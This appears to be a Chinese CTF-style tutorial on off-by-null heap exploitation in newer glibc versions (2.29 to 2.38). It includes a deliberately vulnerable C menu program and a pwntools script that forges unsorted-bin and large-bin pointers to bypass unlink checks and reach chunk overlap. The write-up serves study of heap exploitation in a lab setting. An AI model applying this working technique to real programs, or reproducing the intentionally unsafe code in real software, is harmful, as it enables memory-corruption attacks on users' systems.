off by null高版本利用方式
原理及思路
自 glibc-2.29 起加入了 prev_size 的检查,以上方法均已失效。不过要是能够泄露堆地址可以利用 unlink 或 house of einherjar 的思想伪造 fd 和 bk 实现堆块重叠。
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
而这个源代码的意思则是
在堆块向前合并的时候,计算pre_size,找到之后和前一个堆块的大小对比,那这个时候,我们伪造的堆块pre_size将会失效,因为我们没有办法像低版本那样进行切割伪造,形成uaf和overflow
也就是说高版本的堆块合并需要绕过如下检查:
chunk 合并需要绕过如下检查:
-
prev_size
和按照prev_size
找到的 chunk 的size
是否相等。 - unlink
chunksize (p) == prev_size (next_chunk (p))
fd->bk == bk->fd == p
-
p->fd_nextsize == NULL
(绕过对fd_nextsize
和bk_nextsize
的双向链表检查)
但是有没有绕过的方法呢,当然有
思路:构造一个 fake chunk 满足上述条件,最好是不需要泄露堆地址。
难点:如何在不泄露堆地址的情况下构造满足 fd->bk == bk->fd == p
的 fake chunk 。
首先采用如下方法伪造出 fake chunk 的 fd 和 bk 。
之后利用 unsorted bin 伪造 chunk1 的 bk 。
由于 unsorted bin 是从 bk 开始取的,不能通过 unsorted bin 来修改 chunk6 的 fd ,因此这里借助 large bin 和部分覆盖来伪造 chunk6 的 fd 。
至此 fake chunk 满足 house of einherjar 条件,可以实现堆块重叠。
可能会显得相当复杂,我们用2.29的libc,来自己编译程序进行操作
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
char *chunk_list[0x100];
void menu() {
puts("1. add chunk");
puts("2. delete chunk");
puts("3. edit chunk");
puts("4. show chunk");
puts("5. exit");
puts("choice:");
}
int get_num() {
char buf[0x10];
read(0, buf, sizeof(buf));
return atoi(buf);
}
void add_chunk() {
puts("index:");
int index = get_num();
puts("size:");
int size = get_num();
chunk_list[index] = malloc(size);
}
void delete_chunk() {
puts("index:");
int index = get_num();
free(chunk_list[index]);
}
void edit_chunk() {
puts("index:");
int index = get_num();
puts("length:");
int length = get_num();
puts("content:");
read(0, chunk_list[index], length);
}
void show_chunk() {
puts("index:");
int index = get_num();
puts(chunk_list[index]);
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
while (1) {
menu();
switch (get_num()) {
case 1:
add_chunk();
break;
case 2:
delete_chunk();
break;
case 3:
edit_chunk();
break;
case 4:
show_chunk();
break;
case 5:
exit(0);
default:
puts("invalid choice.");
}
}
}
这是源代码,程序的漏洞几乎是齐全的,我们只是用它来进行演示漏洞利用思路,本地使用的是2.38的glibc,可以说是目前最新的版本
from pwn import *
context(log_level="debug", arch="amd64", os="linux")
io = process(
["/home/gets/pwn/study/heap/offbynull/high/ld-linux-x86-64.so.2", "./pwn"],
env={"LD_PRELOAD": "/home/gets/pwn/study/heap/offbynull/high/libc.so.6"},
)
def dbg():
gdb.attach(io)
def add(index, size):
io.sendafter("choice:", "1")
io.sendafter("index:", str(index))
io.sendafter("size:", str(size))
def free(index):
io.sendafter("choice:", "2")
io.sendafter("index:", str(index))
def edit(index, content):
io.sendafter("choice:", "3")
io.sendafter("index:", str(index))
io.sendafter("length:", str(len(content)))
io.sendafter("content:", content)
def show(index):
io.sendafter("choice:", "4")
io.sendafter("index:", str(index))
io.interactive()
利用操作
首先我们需要明白,我们的目的是在不泄露堆地址的情况下,完成fd->bk == bk->fd == p
的操作,从而完成堆块的伪造,绕过检查
我们先按照上面图片所示,申请出八个堆块
add(1, 0x418)
add(2, 0x108)
add(3, 0x418)
add(4, 0x438)
add(5, 0x108)
add(6, 0x428)
add(7, 0x108)
按照上面的顺序,应该是先free1,让1号堆块的bk指针,指向4号堆块,而向完成这样的操作,又需要把4号堆块free掉,而4号堆块的bk又需要指向6,这个时候有需要把6号堆块放进unsorted bin
free(1)
free(4)
free(6)
可以看到,我们的bk操作都完成了,这个时候unsorted bins里面堆块由1-->4-->6
然后我们需要进行合并操作,只有合并的时候,我们伪造size才会比较方便
而这个时候的三号堆块大小是0x418,刚好和4号堆块相邻,就会产生合并,由于我们只是申请释放,不会产生任何影响
产生了一个大小为0x860的堆块
申请0x438大小的堆块,那这个时候会发生什么呢,由于我们申请的堆块特别大,程序会把刚刚合并出来的这个堆块从unsorted bins里面切割出来,而剩下在unsortedbins里面的堆块,由于大小都大于0x400,都会被放进largebin,而切割的这个0x860的堆块,剩下的部分依旧在unsortedbin里面
add(1,0x438)
而现在,按照上面的图片里面的操作,我们需要伪造出一个fake_chunk,本来的chun1大小是0x418,而现在变成了0x438,这也就意味着,我们现在对chunk1的操作,是可以覆盖到原本的chunk2的,所以这里我们可以修改原本chunk2的size位
edit(1, b'a' * 0x418 + p64(0xa91))
而这个时候,下面的421就是位于unsortedbin里面,没有被拿出来的堆块,原本的这个地址是chunk2的size位,我们把剩下的在bins里面的堆块申请回来,防止影响最后的操作
而这个0xa91,就是大堆块,0x20加0x420加0x110加0x430加0x110的大小,完整的覆盖了几个堆块
我们对比着看一下,假设0x5555569c5c00的这个位置的堆块(也就是伪造出来的chunk2),这个时候chunk2如果是在unsortedbins里面,它的大小是0xa91,而fd和bk指针指向的是chunk1和chunk6
那然后呢
我们回头看看上面的图片,我们把chunk6先放进unsortedbins里面,再把chunk3释放掉,这个时候的3号堆块,就是我们伪造出来的chunk2,把6先放进去,所以6号堆块的bk会指向3
我们要伪造的就在这里,而现在的bk指向的是我们伪造位置的下方
也就是这里的挪动指针,我们要挪上去
准备了那么多,终于要进行off by null的操作了,但是意外的是,我们只能改一个字节为00,如果我们在这里进行操作了,我们需要修改的是c00和be0,但是他们的高位并不一样,这里直接修改是完成不了的
我们需要在整个程序上面加上一个0x18大小的堆块,让他们的高位相同
就像这样,上面的堆块的bk指向c20,我们要做的是把它改成c00
这个时候我们的off by null,就可以把c20改成c00,从而完成了上面的挪动指针的操作
先把3号申请回来,进行修改,再放进去
add(3, 0x418)
edit(3, b'b' * 8 + p8(0))
修改完之后
可以看到两个堆块互相指向对方,这里fd-->bk伪造完成了,我们还需要伪造bk-->fd
后面的伪造则需要用largebin来进行伪造,也就是上面最后的那张图
那么对应的也就是free6和4,这里要注意下标,可能需要大家自己稍微梳理一下,然后申请一个大堆块,把他们放进largebin里面
这个时候注意这两个堆块,重点是下面这个,我们要做的就是把这个堆块的fd由指向c20,改成指向c00就可以完成我们的利用
所以我们现在需要把6号拿回来,再去修改
add(6,0x428)
edit(6,p8(0))
因为我们现在要修改的是这个位置
而这样修改完之后,我们就完成了修改
可以看到,我们伪造的堆块的fd指向0x555556e412b0,而这个堆块的bk又指了回去
伪造的堆块的bk指向0x555556e42150,而这个堆块的fd也指了回去
这样就完成了fd->bk == bk->fd == p
保护的绕过,完成了双向链表的构造
现在只要申请回来就可以使用了
add(8,0x418)
但是这个时候还不可以进行使用,因为我们是要向前合并,不能向后合并,所以我们还需要申请一个堆块
add(9,0x38)
接下来通过off by null,溢出修改size末字节为00
edit(7,b'a'*0x100+p64(0xa90)+p8(0))
这边已经完成了修改
最后把这个大堆块free掉就可以完成堆块的重叠
最后附上完整的代码
add(0, 0x18)
add(1, 0x418)
add(2, 0x108)
add(3, 0x418)
add(4, 0x438)
add(5, 0x108)
add(6, 0x428)
add(7, 0x108)
#prepare
free(1)
free(4)
free(6)
free(3)
add(1, 0x438)
edit(1, b"a" * 0x418 + p64(0xA91))
add(3, 0x418)
add(4, 0x428)
add(6, 0x418)
free(6)
free(3)
add(3, 0x418)
edit(3, b'b' * 8 + p8(0))#fd-->bk
add(6, 0x418)
free(4)
free(6)
add(4,0x9f8)
add(6,0x428)
edit(6,p8(0))#bk-->fd
add(8,0x418)
add(9,0x38)
edit(7,b'a'*0x100+p64(0xa90)+p8(0))#off by null
free(4)#unlink
dbg()
io.interactive()